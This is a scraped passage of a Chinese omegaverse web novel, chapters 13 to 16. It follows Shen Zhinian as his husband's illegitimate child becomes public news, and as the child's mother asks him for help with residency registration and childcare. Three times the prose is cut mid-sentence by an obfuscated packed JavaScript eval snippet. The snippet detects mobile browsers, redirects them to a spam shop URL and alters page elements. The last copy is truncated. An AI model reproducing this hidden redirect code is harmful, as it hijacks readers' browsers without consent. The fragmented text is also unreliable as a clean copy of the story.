已经东窗事发,沈之年也不想要隐瞒,“比顾景深知道的还早一点······” 沈之年把遇到恩恩的事情一一和林之白讲过,林之白已经超脱了,林之白不生气。 “他有私生子,你为什么还不离婚。” “也不是他的错啊······” “他有爱人就不应该和你结婚!”林之白想要唤醒眼前鬼迷心窍的弟弟。 “我们的婚姻是强制匹配的。”沈之年说话的时候好像听不懂林之白的深层意思似的,一板一眼的回答。 “那就不应该欺骗你的感情······”这话说完,林之白也沉默了,顾景深一直不冷不淡的,好像真的没有······ 这边说不通,林之白只能换一个角度去谈,“那你总要想想以后吧,以后都要像今天一样么?你真的能就接受么?” 沈之白没吭声。 林之白只能接着说,“年年,离婚吧。” 沈之年这才开口,“我从小就知道,这个世界上不是所有事情都能完美,所以我知道,想得到什么,付出代价也没关系。” 沈之年看着林之白的眼睛,又重复了一遍,“付出代价也没关系。” “我知道,我同意,之前你喜欢顾景深,顾景深对你不热络,你跟在他身边对他好,希望能够得到他的心,追求一个人就是要接受冷待,这叫付出代价。” “可是现在性质已经变了,你真的要为了一个夫妻的名字,接受一个私生子,接受你的爱人另有爱人,接受他有一个自己的小家么?” “这真是你想要的么?” 林之白问过之后,顿了顿,“如果是,那年年,你太让我失望了。” “我现在应该觉得痛苦吧,哥哥你说你对我很失望。”沈之年顿了顿,“可我什么感觉都没有。” “哥哥,他不在我身边,我都感受不到痛苦。” “你问我能不能接受,接受这一切,然后换我以后回到家坐在你和爸爸身边的时候能够感受到幸福,我觉得是值得的。” 林之白嘴巴张了又张,险些被说服了,“不对,年年,你不要这样,你在他身边,不是痛苦更多么?” “痛 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只是这一句,沈之年觉得自己的信念好像动摇了。 沈奉月的表情没有波澜,但是沈之年知道他应该很痛苦。 在顾景深身边的时候,沈之年已经明白了什么是痛苦,很不好受的滋味。 “不是爸爸的错······”沈之年只能小声的回应,但是这个声音实在是太没有说服力。 他凑过去,想要和之前一样,在爸爸的怀里撒一下娇,以前他这样做,沈奉月都会开心的。 但是这一次沈奉月只是,摸摸沈之年的额头,发出了一声叹息。 他好像没有开心······ 沈之年也不知道怎么做,面对情绪他总是无力的,他不懂那些是什么,也不懂应该怎么处理。 两个人相顾无言的时候。 薄斯年,一头闯了进来。 面上十分慌张,但是看到沈奉月的那一刻,又强迫自己冷静下来,“岳父,之白呢?我来接他回家。” 林之白和沈之年聊完之后久久不能回神,还是听到薄斯年的声音才走出来,他现在才恍然回神,薄斯年昨天到底为什么吞吞吐吐,天杀的,他应该也是知道了什么消息。 他现在不想看到薄斯年,但是又不想在沈奉月面前闹,只能咬着牙出去。 看那张让人生气的笑脸。 薄斯年见到林之白,嘴角扯了扯,才开口,“之白,太晚了,我来接你回家,”说完之后,又转头看向了沈之年,“顺便把弟弟也送回去吧······” 沈奉月看着家里的三个小辈,“什么事,不用瞒我,斯年。” 他还是这么耳聪目明,薄斯年先是看了林之白。 林之白最明白会长,这件事没有转圜,就微微点了一下头。 “顾景深和那个私生子,被拍了,现在已经见报······” 13. 第 13 章 报纸是很浪漫的说法,光脑上面的网络媒体铺天盖地,纸媒的名字留到今天,早就不需要报纸了。 沈奉月打开光脑,里面的信息几乎要把光脑都挤爆了。 各种新闻弹窗,又顾景深三人的照片,还有他们对峙时候的照片。 除此之外,还有那些挤挤挨挨的消息,都是再问这件事。 沈奉月浸淫政坛多年,敌多友少,他这几年的政绩突飞猛进,也很大程度上依仗了顾家的财力,现在闹出这种事情,这么多条消息,他都能想到那些人关心后面的阴阳怪气。 伊桑伸手捂住沈奉月的眼睛,“别看······” 沈奉月根本不在乎这些,这点打击都受不了,他也走不到今天。 拨开伊桑的手,点点沙发,“坐下。” 他没有说是谁,但是沈之年和林之白都乖乖的坐下,薄斯年站在了林之白的身后。 沈奉月竟然一时之间也不知道说什么。 “你一定要和他在一起么?” 薄斯年真的想不到沈奉月竟然没有立刻让他们分开,而是去问沈之年的意见。 “我不知道,我没想好。” 沈之年呐呐说了一句,他真的没想好。 沈奉月听了之后,神色不变,只是淡淡的嗯了一下,“都随你。” 林之白想要说点什么,但是一动就被身后薄斯年摁住了。 但是紧接着,沈奉月就继续说, “你的病,是我的错。” “但是我上次去垃圾星的时候,顺便拐道去了阿斯克勒星,有人给我介绍了一名医生,他最近会到首都星来,你们见一见好么?” “也许他能够帮你。” 阿斯克勒星,医疗技术发达,几乎汇集了帝国最好的医生,里面多的是醉心研究的人,之前沈奉月也想过带沈之年去那里求医,但是那个时候沈奉月名声难看,良医难求。 “对,有好大夫我们就去看看,好不好?” 其实沈之年不觉得自己的问题可以医治,要不然也不会一直到今天,但是还是点了一下头。 -------------------------- “你为什么不让我说话,你是不是也早就知道,薄斯年!” “不···不知道,我这不是不想你和岳父较劲吗······” 沈之年走在后面,身前传来林之白和薄斯年争吵的声音。 都是因为他。 搅得一大家子都不安宁。 沈之年呆呆的看着前面的两个人,什么都没有想,只是在发呆。 很突然的,电话铃声响起来。 沈之年看了一眼,是他美丽的婆婆,露易丝,现在沈之年最不想见到的就是她了。 他想要挂断,但是林之白已经两步跨过来,接通了电话,还顺手摁了免提。 沈之年抬起头看他的脸,林之白也定定的盯着他的眼睛。 沈之年只能退却,默许他能够听在一边听这个电话。 “沈之年!”她的声音还是带着娇蛮,“你快点到老宅来,我要见你!” 应该是看到那些新闻,气的说不明白话了,要来拿他问责。 听到这个颐指气使的声音,林之白先是无声的冷笑了一下,然后又侧过头,转身走了,生怕沈之年看出他脸上的心疼。 ------------------------- 果然,露易丝那张漂亮的脸都已经气的有一些变形了。 沈之年进门的时候,露易丝像是一只没头的苍蝇,在房间里团团转,坐了一下又弹起来,接着在房间里面转悠。 嘴巴里还念念有词,不知道在说些什么。 沈之年把带回来的礼物递给来帮忙的阿姨,“谢谢阿姨。” 这样的声音才把露易丝叫回神,她坐好,又摆出那个贵妇人的样子。 “外面的事情,你听说了?”露易丝说完之后,沈之年没回话,外面的事情有很多,能惊动她的,应该只有恩恩的事情, 沈之年假装不知道。 露易丝没听到沈之年的回答,觑了一下沈之年的脸色,可能之前沈之年小发雷霆也不是一点用处都没有。 “虽然,我是挺想要抱个孙子的,但是私生子还是上不了台面。”露易丝说完之后,有一点尴尬,转头不去看沈之年,但是还是小声问,“我的意思,你明白吧。” 沈之年眨巴眨巴眼睛,露易丝说话总是七扭八拐,好话说起来也不好听。 所以沈之年其实也不知道他是要说些什么。 看到沈之年脸上的茫然,露易丝的脸立刻就垮下来,“我的意思是,你还是我的儿媳妇,这回懂了吧!” 她真是难得说两句好话,沈之年不习惯,露易丝也不是很习惯,“行了,你快回去吧,我······” 后面的话,沈之年其实也没有听清楚。 沈之年转身过去,刚要离开,又被露易丝叫住。 “那个孩子······”露易丝的嘴角颤了颤,最后说,“算了。” 沈之年没抬头去看露易丝的神情,也不知道她的未尽之言是什么。 可能是要把孩子接回家,顾家的孩子不可以流落在外。 也可能是觉得有一个私生子有辱顾家的名声,要想办法解决。 沈之年懒得想。 他只是情绪淡漠,他会累。 现在去想这件事就很累。 很可惜,露易丝并没有体谅沈之年的想法,“那个孩子,按照你的想法解决掉吧。” “顾家的长孙,我希望还是能够由你生出来,你明白么?” 长孙,很难想象,这是星际时代能够出现的词语。 沈奉月有读一些史料的习惯,他之前经常感叹,自从人类进化出abo的第二性别之后,社会意识反而有一定的倒退,之前沈之年对这个所谓的倒退还没有什么直接的感触。 今天突然就有了。 他甚至觉得一会露易丝就要说着什么嫡啊庶啊的荼毒他干净的心灵。 露易丝说话的时候有一个习惯,其实她已经有了想法,但是还是会故作大方的让他去做事,但是如果不能猜中露易丝的心,那她就要不高兴了。 林之白把这个叫老公主病。 沈之年认为这可能是家长的通病,既想要满足心愿,又想做一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340637|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个通情达理的家长。 天下哪有这样的好事。 所以,当露易丝说出这句话的时候,沈之年其实并不觉得露易丝是让他自由处置恩恩, 更何况,恩恩终究是顾景深的孩子,其实沈之年觉得自己并没有处置他的权力,“要不要让景深先带孩子回来给你见见呢?” 露易丝的眼睛肉眼可见的亮了一下,但是很快就掩饰好,“不用了,一个私生子,最好永远不要出现在顾家,你随便处理吧,我一点也不想见。” “你是景深的妻子,我尊重你的选择。” 沈之年的眉头一挑,好像露易丝真的没什么想法。 --------- 沈之年再回到家里的时候,顾景深已经在家里了。 “你回老宅了?你说了什么。” 顾景深的眉头皱起来,开口就是质问,好像有私生子的人是沈之年似的。 “嗯。”沈之年今天真的很累,原来很累的时候,是没有什么情绪的。 现在看着顾景深,竟然也不觉得痛苦。 “你和母亲说了什么?”顾景深又追问了一句,这是沈之年刚才没有回答的问题。 “没说什么,这么大的阵仗,肯定是要问问的。”确实没有什么,都是一些车轱辘话。 和这段婚姻一样,乏味,无聊。 白开水一样,每一个步骤都像是在走流程。 沈之年现在不是很想见到顾景深。 这个情绪,是厌恶么? 他懒得分。 转身就想回卧室,但是被顾景深两三步拦下。 “母亲,有没有问起,魏砚姝?” 沈之年的眉心一跳。 其实顾景深和露易丝很像,都是高高在上的。 不过,露易丝把轻鄙放在脸上,顾景深会隐藏在淡漠和礼貌之后。 他礼貌的处理所有事,也用社交礼仪划开和所有人的距离。 现在看着眼前的顾景深,沈之年恍然大悟。 原来,如果涉及到重要的人,顾景深其实也会扯掉绅士的面具,露出急躁的内里。 和其他人,也没什么不一样。 “没问起,你放心。” 顾景深好像还要说些什么,沈之年只能摁住他的肩膀,“我今天很累,景深,今天你在我的家人面前出轨了,我很累,想回去休息了,希望你可以体谅。” 两个人四目相对,沈之年甚至有一些害怕,害怕顾景深说,这不是你选择的么,我之前明明和你说过······ 幸好,顾景深什么也没有讲,只是侧开身体,示意沈之年可以离开。 沈之年走了几步,又停住脚步,“对了,你处理好恩恩的事情,今天母亲提起了。” “说了什么?”顾景深一下子就警觉起来,他的表情甚至有一点尖锐。 “顾景深,我是你的犯人么?还是你的下属?” 顾景深的神情顿了一下,然后才缓缓的说,“对不起,你先休息。” 其实听到顾景深认错,沈之年也没有觉得很开心。 今天两个人都没有提起那些约定,回家的时候没有拥抱,也没有亲吻。 14. 第 14 章 沈之年其实也没有想到,他没有去找魏砚姝,倒是魏砚姝先出现在他的视野里。 沈之年接到林之白的电话时,简直觉得有一些不可思议。 他和魏砚姝初次见面的时候,因为担心顾家伤害魏砚姝母子,他曾经给魏砚姝留下了Omega协会的联系电话。 这个电话,魏砚姝竟然打了。 沈之年想不通,现在她们母子在顾景深的庇护下,顾家也没有去细究她来历的意思,他为什么要打这个电话呢? 意外之下,这个电话被通知到了林之白。 现在林之白通知他过去。 顾景深名下的房产很多,魏砚姝现在住的这一栋就是其中之一,一个学区的大平层,通透明亮,落地窗引进了满室的阳光,沈之年还是第一次来, 不过之前沈之年在林之白给他精心准备的离婚协议里面见过,如果运气好,离婚之后这栋房子应该就是他的了。 房间里面的人显然没有那么开心,林之白带来的工作人员都回去了,沈之年来的时候打过照面。 剩下的两个人在偌大的客厅各自占据一个角。 林之白站在大大落地窗前,看着窗外,不知道在想些什么。 魏砚姝在门口,脸上写满了拘谨,打开门看到他的那一刻,好像看到了救赎似的,应该是在等他。 沈之年进门就看到了门口的男式拖鞋,很大。 魏砚姝尴尬的笑了一下,转身给沈之年拿了一双新的。 沈之年的心里没有什么波澜,安抚性的看了一眼魏砚姝,就走向了林之白。 “哥哥?” 林之白明明听见了,但是没回头。 沈之年知道,这是不太开心的意思。 想了想,将头靠在林之白的肩膀,“哥哥,别气了,对不起。” 林之白见不得沈之年这个样子,转头看了一眼魏砚姝,才恨铁不成钢的看着沈之年,“你现在是怎么回事,不仅要包容顾景深还要帮他养小三和私生子了?” 魏砚姝抬起手好像想要说些什么,但是离得很远,两个人都没看到,林之白也不会给她说话的机会,机关枪一样已经继续说下去了,“底下的人报上来说有beta单亲妈妈求助,你介绍过来的,我就带人过来,想着能写个新闻宣传一下,没想到啊,年年,你真是给了我一个大惊喜。” 说到这里,沈之年也知道这两位为什么会撞上了。 Omega的人数稀少,很多beta女性其实面临了和Omega一样的困境,沈奉月一直希望能够帮助beta女性,顺便得到这个数量庞大群体的支持。 但是很可惜,beta女性远比想象中坚韧,前来求助的人很少,再加上是拿了他的名字过来,所以林之白才会如获至宝,以为是他选好的素材,亲自前往,谁知道来求助的竟然是魏砚姝。 当天铺天盖地的报道里面,没有出现魏砚姝的脸,但是谁让林之白见过她呢,那一天给人留下的印象实在是太深刻了,林之白甚至这几天做梦都会回到那一天,他怎么可能忘了魏砚姝的脸。 “她需要帮助么?”林之白一边说话,一边将这个大平层打量个遍,“如果用我的工资,我也要奋斗六十年才能买下这栋房子。” “我需要!” 突然的声音打断了沈之年和林之白完全算不上小声的窃窃私语,沈之年转过头,是抬起头的魏砚姝。 这些年难听的话魏砚姝不知道听了多少,这句连阴阳怪气都算不上,听过之后内心毫无波澜,根本不能阻止她关注她想要做的事情。 她看着沈之年和林之白,又重复了一遍,“我需要帮助。” “恩恩的户口没办法落在首都星,我才来找你们帮忙的。” 林之白深吸了一口气,两天的时间,足够他摸清楚现在的情况。 虽然人类进入了星际时代,但是国家的概念还是没有消失,在浩瀚的宇宙里,除了几个许多星球共同组成的国家,还有一些星球没有称国家,但是有独立的管理权,医疗星阿斯克勒星就是这种;还有一些因为历史问题,也有因丰富的人文或者自然资源,在大国博弈之下,可以保留小国家的资格,露易丝的母国就是这样。 顾家做事很绝,他们把魏砚姝送去了联邦的死对头,读的学校虽然很好,但是两个国家之间本就积怨重重,她回国都需要层层检查,不一定能够留住首都星球的户口。 更何况是出生在那边,天然就带着那边户口的恩恩。 只能说理论上当然可以办,但是层层审批,步步设卡,很难真的做到,也怪不得魏砚姝要来求助。 林之白的脸扭在一起,显然是不想帮这个忙的,魏砚姝早早的察觉出这样的情绪,“恩恩身体不好,最近查出了白血病,不然我不会带着他来找顾景深。” 魏砚姝确实说过她并不想破坏沈之年的家庭,沈之年对这个坚韧的女人很有好感,她带着恩恩,总能让他想起当年带着他生活的沈奉月,所以沈之年愿意相信也许魏砚姝真的是走投无路。 “只有把恩恩落户在首都星,他才能享受到首都星的医疗福利。”魏敏姝一直公事公办,声音很冷静,一直到最后一句,才暴露出她作为一个母亲的脆弱,“所以我必须给恩恩落下户口。” “顾景深不能给他落么?”林之白也能明白魏砚姝的不容易,但是他实在是心疼沈之年,开口还是推诿。 魏砚姝根本没有接林之白的话茬,“我查过Omega协会的通知,我这种情况是可以得到协会的援助的,对么?” 当然可以,不然林之白根本不会大张旗鼓的过来。 但是给顾景深的私生子上户口,林之白实在是如鲠在喉,咽不下这口气。 以顾景深的财力,愿意替他鞍前马后的人数不胜数,根本轮不到求助Omega协会。 所以林之白觉得她就是过来挑衅的。 但是现在如果拒绝,以后又不知道会闹出什么风波。 场面一时僵持,林之白觉得有一点头疼。 门外突然就响起了敲门声。 魏砚姝不好意思的笑笑,没对来人表示惊讶。 林之白甚至在想,如果接下来进来的人是魏砚姝叫回家撑腰的顾景深,从哪个角度打人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏敏姝没有被这个突然的小插曲转移走注意力,而是从身后拿出了一个资料袋,“要求的资料都在这里了,你可以看看。” 林之白根本没有心情看。 他们都知道,这个资料是最不重要的东西。 林之白没动,沈之年倒是先把资料接过来。 看到沈之年的动作,林之白暗中瞪了他一眼,但是还是没有阻止沈之年的动作。 恰好这个时候,那个男人也抱着恩恩走了出来,恩恩乖巧的趴在那个男人的肩膀,看起来还很困倦,但是还是乖巧的对着沈之年和林之白打了招呼, “叔叔好。” 然后才伸出手对魏敏姝,“妈妈,抱。” 其实之前林之白就已经心软了,就算是再有什么事情,也不能耽误孩子的治疗,给社会上面的弱势群体庇护,是Omega协会成立的初衷,他不能因为一些个人恩怨放弃这个原则。 现在看到恩恩,也自然找到台阶就下,拿过了沈之年手里的档案袋,但是嘴巴里还是硬邦邦的,“那我拿回去看看,不一定能帮你,要看你的资料和相关的规定。” 得到这句应答,魏砚姝已经很开心了。 事情已了,沈之年本来应该回家,但是刚刚要提出辞行。 “沈先生!”魏敏姝突然开口叫住了沈之年。 15. 第 15 章 她往前挪动了两步,才走到沈之年的面前,好像是有一点不好意思,“我和景深之间真的没什么,希望不要影响你们的夫妻感情。”、 那个alpha见状很识趣的开口,“我再看一眼孩子的病例。” 不知道是不是提前准备好,病例早就放在了桌子上,魏砚姝抱着恩恩不太方便,就示意那个alpha自己去拿。 alpha拿起之后,环顾了一周,这个房子四面开阔 林之白本来也不太喜欢魏砚姝,听到魏砚姝这么说话,忍不住冷笑一声,但是看着怀里抱着的恩恩,又把后面的话咽下去了,但是心里还是不舒服,点一根烟就自己出了房门。 “谢谢你愿意帮我,这是恩恩做的,送给你,他一直想谢谢你上次照顾他。”魏砚姝说完后,恩恩就从怀里掏出了一小束针织的小玫瑰,展开之后看起来像是一个小杯垫。 看起来对于小孩子并不是容易的手工。 沈之年在学校的时候学习过,接到孩子的手工礼品,要恰到好处的表达出喜欢和赞赏,这样能够让孩子获得成就感,提高孩子的积极性。 “天哪,太好看了,是恩恩自己织的么?” 恩恩呐呐的点点头,“送你,婶婶。”说完之后,又转身藏进了魏砚姝的怀里,耳根都红了,看起来,真的对送礼物这个环节有一些不好意思。 沈之年小的时候在家里无聊也喜欢做一些小手工。 “你后面有什么打算么?恩恩毕竟是顾家的孩子。” 虽然露易丝说不想见到恩恩,但是这是她作为一个Omega罕见的对于沈之年感同身受的保护。 而且,根据沈之年的观察和判断,露易丝虽然有时候有一点刁蛮和任性,但是其实她是这个顾家最像人的人。 顾家真正的掌舵人,顾景深的还没成功退休的父亲,估计有不一样的看法。 那位简直就是优性alpha的代表人物,将员工看成是可以任意压榨的工具,用价值来衡量他眼前的所有人。 包括他的枕边人,露易丝,出身高贵,容貌秀美,带出去之后能够配的上顾家女主人的身份,这就够了。 沈之年和他没见过几面,也是因为这个,他从心里觉得沈之年并不是一个有价值的人,Omega只需要和露易丝一样,在深宅大院里面做好一个漂亮的花瓶,就够了。 所以,顾家的子孙出现的时候,他应该不会在乎,这个孩子是私生子还是婚生子,只要他想,恩恩就会变成沈之年的孩子,顾景深的婚生子。 但是魏砚姝应该并不想这样,不然不会特意找到林之白帮忙给恩恩落户。 沈之年的话音刚落,魏砚姝的面上的笑意瞬间就消失无踪,沈之年这一刻才发现自己交浅言深,她抱着恩恩的样子,很像之前沈奉月抱着他,所以不自觉就让他心情轻松下来,才问出那句话,那本不应该是他问的话。 “抱歉,你别在意。” 魏砚姝摆摆手,“车到山前必有路,再说吧。” “这几天,你能帮我照顾几天恩恩么?”魏砚姝的脸上写满了局促,不难想象,他叫住沈之年就是因为这个不情之请,还要抱着孩子来壮胆。 “抱歉,这几天我都很忙,实在是没人照顾恩恩。” 沈之年知道照顾一个生病的孩子应该并不容易,既然林之白接下来文件,那就意味着,接下来几天,魏砚姝都必须为了这件事东奔西走,虽然现在科技很发达,但是造假技术也更加登峰造极,很多必要的程序反而开始更加严格的要求本人到场。 魏砚姝一定没办法抱着孩子东奔西走。 魏砚姝根本不敢去看沈之年的眼睛,躲躲闪闪的开口,“很抱歉,我在国内也没有其他人可以交付。” “你是景深的妻子,一定是好人,我相信你,我也只能帮助你。” “恩恩,还算是乖孩子,不会很难带,如果你不愿意,我可以去你家里送饭,你只要提醒他按时吃药就好。” 魏砚姝应该是担心沈之年拒绝,所以才会说这么多,但是她显然是想多了。 Omega学院的教育里面,帮忙抚养丈夫的孩子是一种美德,就算抛掉这个原因,在沈奉月的教育下,沈之年也是愿意帮助一个单亲母亲。 魏砚姝还是搜肠刮肚的想怎么让沈之年接受恩恩,沈之年就骤然开口, “可以,你要住几天。” “啊?”魏敏姝愣了一下,“三天,三天就够了!” 沈之年最清楚首都星的行政是多么差。 为了提高Omega的地位,沈奉月四处奔走,才为Omega争取到了能够光明正大进入职场的机会,但是很可惜,Omega们的思想还是在受新娘学院的余毒,把工作当成一种能够得到更好工作的手段,而且真的进入职场之后,还是觉得Omega更应该将自己的重心放在家庭。 至于政府那些相对轻松的岗位,更是快速被高官太太们快速占据,这样的人,办事不是踢皮球就是拖延。 魏砚姝的事情其实并不好办,三天一定不够她把这件事办完。 “三天不够,你办完再来领恩恩就好。” 再魏砚姝的眼睛里,此刻的沈之年简直就是天使。 “谢谢你,我一定会报答你的!” 沈之年看着她,在心里叹息一声,能怎么报答呢?他自己也想不明白应该做出怎么样的决定,自然也不知道要收取什么样的报答。 之前,沈之年会按照道理去做道理上面对的事情。 那他现在就应该结束这段婚姻,让这对有情人终成眷属。 但是他不难得有想要得到的东西,这才踌躇不前。 “没关系,很快应该会有一个结果。”沈之年思考了片刻,还是和魏砚姝说出了这句话。 在联邦的结婚冷静期政策里,结婚六月以上,一年以下,如果双方对婚姻关系不满意,可以到相关机构办理手续,解除婚姻关系,视作这次婚姻不存在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340639|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在其实距离半年已经很近了,到时候也不需要沈之年一直纠结,顾景深自然会替他做出选择。 毕竟又不是只有他一个人有请求撤销婚姻的资格。 魏砚姝脸上有点疑惑,其实她听不懂沈之年这句话是什么意思,只是好奇心不强,他们之间的关系特殊,沈之年愿意帮忙搭把手已经是恩情,她其实也担心问得多了,万一沈之年反悔怎么办。 沈之年接过恩恩,可能魏砚姝很早就交代过,也可能恩恩确实对他很有眼缘,到了他怀里,就乖顺的趴在他肩头,没有闹。 魏砚姝打开门,把门外的两个人迎进来,现在才算是没了那种剑拔弩张的情绪,本意是想要倒些水招待一下来访的客人。 但是林之白实在不觉得他们是能够坐下来喝茶聊天的关系,一点面子也没留,直愣愣的说要走。 ------------------------------- 送走了沈之年兄弟,薛明亦也准备离开。 “谢谢你,今天跑一趟。” “没关系,应该的,你一个人不容易。” 看到薛明亦,魏砚姝就能想起自己在外求学穷困潦倒的日子,那个时候,连去医院生孩子的钱都没有,但是她又不敢和顾家的人求助,只能找到一个黑诊所打算生孩子。 还是薛明亦顺手把她救下了,还帮她申请了一些援助项目,她才能磕磕绊绊的把恩恩带大。 “今天那两个人是?” 魏砚姝尴尬的笑笑,“是景深的妻子和他的哥哥,景深他们夫妻是命定之番,我回来的不是时候。” “命定之番?”薛明亦轻轻重复了一遍这四个字,“沈之年么?怪不得。” 他这两句话音量轻,魏砚姝没听清,“你说什么?” “没什么。”薛明亦露出一个笑,他平时就是温和绅士的人,笑起来也让人如沐春风,所以魏砚姝根本没有意识到,话题已经跟着薛明亦的想法走了。 “他们感情很好么?” 薛明亦问这个话题很奇怪,他不是八卦的人,但是喂魏砚姝看一眼,薛明亦就笑着开口,“大名鼎鼎的命定之番,我也很好奇,是不是真的会见面就相爱。” 魏敏姝没想到薛明亦竟然也会好奇这个,“我也不太清楚,应该是好的吧,景深是很好的人。” “沈之年也是,两个很好的人,怎么样生活都可以幸福。” 薛明亦不置可否的笑笑。 “而且我是beta,我不知道,你是alpha,你不是应该清楚么,信息素对人的吸引力,如果有百分之八十,就足够一见钟情了。” “不是么?” “百分之一百,应该是任何误会,矛盾,甚至是死亡都没把没法分开的亲密关系了吧。” 薛明亦摸摸衬衫的袖口,两个人在聊这个事情的时候,这个袖口被他解开又扣上,扣上又解开,这次笑的已经有一些勉强,“总有例外······” 16. 第 16 章 事情结束,沈之年和林之白就不在这里多待了,但是出门的时候,看到魏砚姝和那个男人并肩而立的时候,林之白的头脑还是有一点发热。 上车之后,沈之年把明显因为药物而感到困倦的的恩恩哄睡之后, 沈之年就觉得自己的衣角被拉了一下, 侧过头,不出意外的,是林之白。 首都星寸土寸金,道路已经被无限压榨,现在大多车子都在空中路线行驶,也已经完全可以无人驾驶。 但是林之白喜欢自己开车的感觉,他觉得把驾驶权交代无人驾驶,就是把生命的掌握权交待出去,这次没有选择自己开车,显然是有话要说,他原本以为是林之白要训斥他一番,谁知道他只听到了林之白小声的说了一句,“你跟她学学!” 学什么不言而喻,有时候林之白对于教导沈之年的执念也挺可爱的,沈之年想到这里不由得笑了出来。 “年年,你在笑?” 那个笑容几乎一瞬间就消失了,和沈之年之前那些伪装的笑容不一样,这个好像是发自内心的笑容。 沈之年愣了一下,“有可能吧。” 他已经习惯在大家觉得应该笑的时候发笑,刚才那个时刻也去的太快,他分不清那个笑容是否发自真心。 不过他还是倾向于这是一个下意识的假笑。 其实林之白也是当时太惊讶,才会问出来,冷静一下,他也觉得其实不太可能,就没有再去纠结那个莫名其妙的笑容,“你和她学学,不要在一棵树上吊死。” “Omega也好,Beta也好,就是得过这样的日子才有力气讨生活,两个优等alpha!”林之白还特意伸出两个手指比给沈之年看,“我刚才在外面抽烟,他往我身边一站我都腿软!” “肯定是个等级特别高的alpha,没准不比顾景深低呢?” “真有两把刷子啊,还是个beta,太牛了!”林之白的语气里已经完全没有对魏敏姝的鄙视,只剩下满满的敬佩! 虽然那个新来的alpha,虽然没有说自己的等级,但是单单看那人的样貌气势,等级一定不会低。 “别瞎说。”沈之年推推林之白。 林之白也就是口花花,当然不会性缘脑到看到两个人站在一起就觉得他们之间有什么关系,但是alpha是被这个社会偏爱的性别,优性alpha更是在在分化那一刻就被这个世界上的特权包围了。 有时候林之白甚至觉得,可能优性alpha当街撒尿也会被夸奖尿的好。 这样众星捧月的环境下,优性alpha一定是十分高傲的,他们连天生就会相互吸引的Omega都暗戳戳的贬低,beta在某些alpha眼里更是人都算不上,不过是新鲜的劳动力,人矿。 散发着资本家的恶臭味。 所以魏砚姝看起来和两个优性alpha都有不同寻常,至少是良好的关系才让人惊讶。 “那是两回事,你出去接触接触别人嘛,找不到匹配度百分之百的,没准还有匹配度九十以上的alpha存在呢?” 那个强制匹配婚姻所依仗的信息素匹配系统,一般来说会给出匹配度相同的几个人来提供选择,但是沈之年和顾景深的匹配度太高,所以当时出现在沈之年眼前的只有顾景深一个。 顾景深那边应该是类似的情况。 但是,就算是没有见过,也知道沈之年很难出现一个匹配度90%以上的人来给沈之年提供选择。 一般来说70%的匹配度是常态,大多数的家庭都是这样结合的,80%匹配度的夫妇已经是很高的匹配度,如果成功结合,已经能够得到很幸福的生活。 90%是凤毛麟角,如果出现,几乎就会被大家认为是一段恩爱眷侣,是可遇不可求的。 为了提高生育率,社会一般会宣传,AO的结合是上天注定的,在Omega的读物或其他娱乐方式里,也会暗暗的植入爱情至上的思想。 所以沈之年和顾景深百分之百的匹配度,才会那么受到关注。 官方需要一对完美夫妻来给他们的宣传做有力支撑,Omega,甚至是一些beta们也需要这样的一对模范来满足精神需求。 虽然林之白和沈奉月一直劝沈之年离婚,但是其实沈之年知道,他的婚姻其实对于他们的仕途很有帮助。 顾家的财力不算,光是这婚姻存在本身,就是意义。 匹配度,好像对沈之年一家人都很重要。 如果沈之年离开顾景深,再去找到匹配度也很高的人,才能尽可能的消弭掉离婚对他们家的影响。 不过他们都知道,有一个能够完美匹配的人已经是上天眷顾,再想要找一个90%以上的,无异于痴人说梦。 林之白只是不想放弃任何一个希望,他比谁都知道,沈之年是一个多么温良的人,他选择不离婚,一定有考虑到沈奉月和他未来发展的因素,不想要弟弟牺牲自己的幸福。 “那个人就算只有80,甚至是70,只要你喜欢,你愿意,我和会长也都是支持的。” 但是沈之年却摇摇头,“那个人?哥哥,至少也得有两个优性alpha在我身边才行,我们Omega就要过这样的日子才能有力气讨生活。” 林之白真的忍不住笑了,“臭小子,开我的玩笑!” “你真有这样的觉悟,我早就放心了。”林之白似真似假的感叹一声,“下一次你也可以找一个那样的,禁欲系,看起来就上劲儿,比傻子好多了!” 其实如果一定要严格分类,顾景深那种每天西装革履的“霸总”其实也是禁欲系。 沈之年思考了一下,最后觉得,可能他真的对禁欲系有偏爱。 但是林之白显然只是随口一提,因为他马上思路就不知道跑到哪里去了,“其实你找个年长温柔体贴的也是,咱们家也养得起你们俩······” “不,年轻的也行,和年轻的一起生活,那多有激情啊!” ······ 林之白这边还在报菜名呢,恩恩突然咕哝了一声,应该是两个人说话的声音吵到他了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 